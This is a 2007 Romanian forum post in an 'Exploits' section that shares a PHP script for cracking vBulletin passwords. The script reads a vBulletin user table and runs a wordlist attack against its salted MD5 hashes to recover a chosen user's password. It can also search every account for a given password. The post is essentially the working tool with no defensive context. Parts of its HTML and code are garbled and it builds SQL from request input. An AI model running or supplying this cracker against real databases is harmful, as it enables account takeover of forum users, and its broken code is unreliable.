Pagina de start a forumului ROteam
Autor Mesaj
<  Exploituri  ~  vBulletin password cracker & finder v1.0.2b
Ras
MesajTrimis: 29/08/2007 17:16  Raspunde cu citat (quote)
Super Moderator


Data inscrierii: 29/Aug/2007
Mesaje: 34

Cod:
<?
############################################################
## Author: M4k3                                           ##
## Script-Version: 1.0.2b                                 ##
## Script-Name: vb_tool.php                               ##
## Copyright: pldsecurity.de / .com /pldsoft.com          ##   
##                                                        ##
## Comment: Next Version coming soon, check               ##
## pldsecurity.com for Updates                            ##
############################################################

# For Crack Option, you need: [vbulletin database] & [wordlist]
# For Find Option, you need: [vbulletin database]

###################### Set Error Reporting #################
error_reporting(E_ALL & ~E_NOTICE);

set_time_limit(60);

# 60  for a database with 1000 Users
# 180 for a database with 3000 Users
####################### Change Values ######################

#MySQL Values
$mysql[server] = 'localhost:3306';
$mysql[username] = 'root';
$mysql[password] = '';
$mysql[database] = 'vbulletin';
$mysql[table] = 'user';
$mysql[page] = '20'; # Show 20 User / Site on User list

#Script Values
$script[wordlist] = 'word.txt';

if(!file_exists($script[wordlist])) {
   $script[crack_option] = false;
}

$script[version]  = '1.0.2b';

#############################################################

###################### Connection ###########################

$mysql[connect] = mysql_connect($mysql[server], $mysql[username], $mysql[password])
                               or die ("MySQL-Error: " .mysql_error());

$mysql[connect_db] = mysql_select_db($mysql[database], $mysql[connect])
                                    or die ("MySQL-Error: " . mysql_error());

#############################################################

function check_table() {
   global $mysql;

   $query = mysql_query("Select * from ".$mysql[table]."")
                       or die ("MySQL-Error: " . mysql_error());
   if(!mysql_error()) {
      return 1;
   }
}

function find_password($_POST) {
   global $mysql;

   $query = mysql_query("Select * from ".$mysql[table]."")
                       or die ("MySQL-Error: " . mysql_error());

   while($user = mysql_fetch_array($query)) {
      $script[get_salt] .= $user[salt].htmlentities('<r>');
   }

   $script[salt] = explode(htmlentities('<r>'), $script[get_salt]);


   $query = mysql_query("Select * from ".$mysql[table]."")
                       or die ("MySQL-Error: " . mysql_error());

   while($user = mysql_fetch_array($query)) {

      for($i=0;$i<=sizeof($script[salt]);$i++) {
         if(md5(md5(rtrim($_POST['password'])).$script[salt][$i]) == $user[password]) {
            print 'Password found! Username: '.$user[username].' Userid: '.$user[userid].'<br>';
            flush();
         }
      }
   }
}

function crack_password($_POST) {
   global $script;
   global $mysql;

   $query = mysql_query("Select * from ".$mysql[table]." where username = '".addslashes($_POST['username'])."'")
                        or die ("MySQL-Error: " . mysql_error());
   $user = mysql_fetch_array($query);

   if(!is_array($user)) {
      print 'The User with the name <b>'.addslashes($_POST['username']).'</b> doesn\'t exist.<br>
             <a>Back to Index</a>';
   } else {
      $file = fopen($script[wordlist], 'r');

      while(!feof($file)) {

         $word = fgets($file, 4096);
         
         if(md5(md5(rtrim($word)).$user[salt]) == $user[password]) {
            print 'Password Cracked! Password is <b>'.$word.'</b>';
            $cracked = true;
         }

      }
      if($cracked == false) {
         print 'Failed to Crack Password.';
      }
      fclose($file);
   }
}


if(check_table() == 1) {
      print '<html>
             <head>
             <title>VBulletin Password Cracker</title>
             <style>
             body {
                font-size: 11px;
                text-align: center;
             }
             .option_table {
                font-size: 11px;
                border: 1px #000000 solid;
                width: 300px;
             }
             .main_table {
                font-size: 11px;
                border: 1px #000000 solid;
                width: 350px;
             }
             .user_table {
                font-size: 11px;
                text-align: center;
                border: 0px #000000 solid;
             }
             .show_user {
                border: 1px #000000 solid;
                width: 125px;
             }
             .input_text {
                font-size: 11px;
             }
             .input_submit {
                color: #ffffff;
                font-size: 11px;
                border: 1px #000000 solid;
                background-color: #000000;
             }
             a:link {
                color: #000000;
                text-decoration: none;
             }
             a:hover {
                color: #000000;
                text-decoration: underline overline;
             }
             </style>
             </head>
             <body>';


   if(empty($_GET['crack_option']) && empty($_GET['find_option']))  {
      print '<form>
             <table>
              <tr>
               <td>
                <b>vbulletin password cracker & finder '.$script[version].'</b><br>
                <hr size = "1" style = "border: 1px #000000 solid;"
              </td>
             </tr>
              <tr>
               <td>';
      if($script[crack_option] !== false) {
         print '<input>';
      } else {
         print '<input>';
      }
      print '</td>
               <td>
                Use "Crack Password" Option
              </td>
             </tr>
              <tr>
               <td>
                <input>
              </td>
               <td>
                Use "Find Password" Option
              </td>
             </tr>
              <tr>
               <td>
                <hr size = "1" style = "border: 1px #000000 solid;"
                <input>
              </td>
             </tr>
              <tr>
               <td>
                &copy; Copyright by M4k3 <a>PLDsecurity.com</a>
              </td>
             </tr>
            </table>
            </form>';
   }


   if($_GET['crack_option'] == 'on') {

      if($_GET['do'] == 'show_user') {

         print '<table>
                 <tr>
                  <td>
                   Please select a username.
                 </td>
                </tr>
                 <tr>
                  <td>
                   Userid
                 </td>
                  <td>
                   Username
                 </td>
                </tr>';

         if(empty($_GET['start']) && empty($_GET['end'])) {
            $query = mysql_query("Select userid, username from ".$mysql[table]." limit 0, ".$mysql[page]."")
                                 or die ("MySQL-Error: " . mysql_error());

            while($show_user = mysql_fetch_array($query)) {
               print '<tr>
                       <td>
                        '.$show_user[userid].'
                      </td>
                       <td>
                        <a>
                         '.$show_user[username].'</a>
                      </td>
                     </tr>';
            }

         print '<tr>
                 <td>
                  <a>
                   Next Page >></a>
                </td>
               </tr>
              </table>
              <br><br>';

            print '<a>Back to Index</a>';
       
         } else {

            $query = mysql_query("Select userid, username from ".$mysql[table]." limit
                                 ".addslashes($_GET['start']).",".addslashes($_GET['end'])."")
                                 or die ("MySQL-Error: " . mysql_error());

            while($show_user = mysql_fetch_array($query)) {
               print '<tr>
                       <td>
                        '.$show_user[userid].'
                      </td>
                       <td>
                        <a>
                     '.$show_user[username].'</a>
                       </td>
                      </tr>';
            }

            $page[next] = $_GET['start'] + $mysql[page];
            $page[previous] = $_GET['start'] - $mysql[page];

            $query = mysql_query("Select count(*) from user")
                                or die ("MySQL-Error: " . mysql_error());
            $mysql[table_count] = mysql_fetch_array($query);

            if($page[previous] </a> $mysql[table_count][0]) {
               print '<tr>
                       <td>
                       <a>
                        << Previous Page</a>
                      </td>
                     </tr>
                    </table>
                   <br><br>';
            } else {
               print '<tr>
                       <td>
                        <a>
                        << Previous Page</a>
                      </td>
                       <td>
                        <a>
                        Next Page >></a>
                      </td>
                     </tr>
                    </table>
                    <br><br>';
            }
            print '<a>Back to Index</a>';
         }

      } elseif($_GET['do'] == 'crack_password' && !empty($_POST['username'])) {
           
         crack_password($_POST);

      } else {

        print '<form>
               <table>
                <tr>
                 <td>
                  Insert a username or use the function "show user list"
                  <hr>
                </td>
               </tr>
                <tr>
                 <td>
                  Username:
                </td>
                 <td>';
        if($_GET['do'] == 'get_user' && !empty($_GET['username'])) {
           print '<input>';
        } else {
           print '<input>';
        }
                 
        print '</td>
               </tr>
                <tr>
                 <td>
                  <input>
                </td>
               </tr>
                <tr>
                 <td>
                  <hr>
                  <a>show user list</a>
                </td>
               </tr>
              </table>
             </form>
             <br><br>
             <a>Back to Script Index</a>';

      }

   } elseif($_GET['find_option'] == 'on') {
 
      if($_GET['do'] == 'find_password' && !empty($_POST['password'])) {
         print 'Searching...<br>';
         flush();
         find_password($_POST);
      } else {
         print '<form>
                <table>
                 <tr>
                  <td>
                   Please insert a password.
                   <hr>
                 </td>
                </tr>
                 <tr>
                  <td>
                   Password:
                 </td>
                  <td>
                   <input>
                 </td>   
                </tr>
                 <tr>
                  <td>
                   <input>
                 </td>
                </tr>
               </table>
               </form>
               <br><br>
               <a>Back to Script Index</a>';
      }

   }

   print '<br><br>
         </body>
        </html>';

}

?>

_________________
Ras - RO Team
Sus
Vezi profilul utilizatorului Trimite mesaj privat
Afiseaza mesajele pentru a le previzualiza:   
Ora este GMT + 3 ore

Subiectul urmator
Subiectul anterior
Pagina 1 din 1
Pagina de start a forumului ROteam  ~  Exploituri

Creaza un subiect nou   Raspunde la subiect


 
Mergi direct la:  
Nu puteti crea un subiect nou in acest forum
Nu puteti raspunde in subiectele acestui forum
Nu puteti modifica mesajele proprii din acest forum
Nu puteti sterge mesajele proprii din acest forum
Nu puteti vota in chestionarele din acest forum




Powered by phpBB and Ad Infinitum v1.06
Fa-ti si tu propriul forum GRATUIT, pe www.myforum.ro